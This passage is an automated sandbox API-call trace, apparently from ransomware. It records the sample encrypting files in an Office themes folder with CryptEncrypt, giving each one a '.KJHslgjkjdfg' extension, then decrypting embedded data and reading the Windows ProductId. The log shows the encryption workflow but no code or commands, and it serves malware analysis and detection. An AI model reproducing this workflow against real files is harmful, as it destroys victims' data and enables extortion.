liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.101] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.101] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.101] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.101] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.101] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x68b, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x68b, lpOverlapped=0x0) returned 1 [0189.101] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x690, dwBufLen=0x690 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x690) returned 1 [0189.101] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.101] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x690, lpOverlapped=0x0) returned 1 [0189.102] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.102] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.102] SetEndOfFile (hFile=0x12c) returned 1 [0189.104] GetProcessHeap () returned 0x2ef0000 [0189.104] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.104] GetProcessHeap () returned 0x2ef0000 [0189.104] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.104] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.kjhslgjkjdfg")) returned 1 [0189.105] CloseHandle (hObject=0x12c) returned 1 [0189.105] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1 [0189.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.106] GetProcessHeap () returned 0x2ef0000 [0189.106] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.106] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.106] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.106] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x3, lpOverlapped=0x0) returned 1 [0189.108] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.108] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.108] GetProcessHeap () returned 0x2ef0000 [0189.108] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0189.108] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0189.108] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.108] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0189.109] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.109] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.109] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.109] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.109] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.109] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.109] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.109] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.109] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbfed, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xbfed, lpOverlapped=0x0) returned 1 [0189.110] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xbff0, dwBufLen=0xbff0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xbff0) returned 1 [0189.111] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.111] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbff0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xbff0, lpOverlapped=0x0) returned 1 [0189.112] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.112] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xc0b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.112] SetEndOfFile (hFile=0x12c) returned 1 [0189.114] GetProcessHeap () returned 0x2ef0000 [0189.115] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0189.115] GetProcessHeap () returned 0x2ef0000 [0189.115] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.115] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.elm.kjhslgjkjdfg")) returned 1 [0189.118] CloseHandle (hObject=0x12c) returned 1 [0189.118] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1 [0189.118] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.119] GetProcessHeap () returned 0x2ef0000 [0189.119] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.119] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.119] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.119] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xe, lpOverlapped=0x0) returned 1 [0189.120] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.120] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.120] GetProcessHeap () returned 0x2ef0000 [0189.120] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0189.120] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0189.120] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.120] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0189.120] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.121] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.121] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.121] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.121] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.121] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.121] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.121] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.121] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x242, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x242, lpOverlapped=0x0) returned 1 [0189.121] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x250, dwBufLen=0x250 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x250) returned 1 [0189.121] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.121] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x250, lpOverlapped=0x0) returned 1 [0189.121] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.121] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.121] SetEndOfFile (hFile=0x12c) returned 1 [0189.123] GetProcessHeap () returned 0x2ef0000 [0189.123] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0189.123] GetProcessHeap () returned 0x2ef0000 [0189.123] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.123] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\STUDIO.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\studio.inf.kjhslgjkjdfg")) returned 1 [0189.127] CloseHandle (hObject=0x12c) returned 1 [0189.127] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0189.127] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.128] GetProcessHeap () returned 0x2ef0000 [0189.128] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.128] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.128] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.128] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.129] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.130] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.130] GetProcessHeap () returned 0x2ef0000 [0189.130] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.130] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.130] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.130] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.130] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.130] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.130] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.130] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.130] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.130] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.130] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.130] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.130] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x47cc, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x47cc, lpOverlapped=0x0) returned 1 [0189.132] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x47d0, dwBufLen=0x47d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x47d0) returned 1 [0189.132] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.132] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x47d0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x47d0, lpOverlapped=0x0) returned 1 [0189.132] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.132] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x48a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.132] SetEndOfFile (hFile=0x12c) returned 1 [0189.135] GetProcessHeap () returned 0x2ef0000 [0189.135] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.135] GetProcessHeap () returned 0x2ef0000 [0189.135] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.135] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0189.139] CloseHandle (hObject=0x12c) returned 1 [0189.139] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0189.139] GetProcessHeap () returned 0x2ef0000 [0189.139] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.139] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.139] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0189.139] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.139] GetProcessHeap () returned 0x2ef0000 [0189.139] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0189.139] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.139] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0189.139] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.139] GetProcessHeap () returned 0x2ef0000 [0189.139] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0189.139] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.139] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0189.140] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.140] GetProcessHeap () returned 0x2ef0000 [0189.140] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0189.140] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.140] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0189.140] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.140] GetProcessHeap () returned 0x2ef0000 [0189.140] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.140] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.140] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0189.140] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.140] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0189.140] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0189.140] 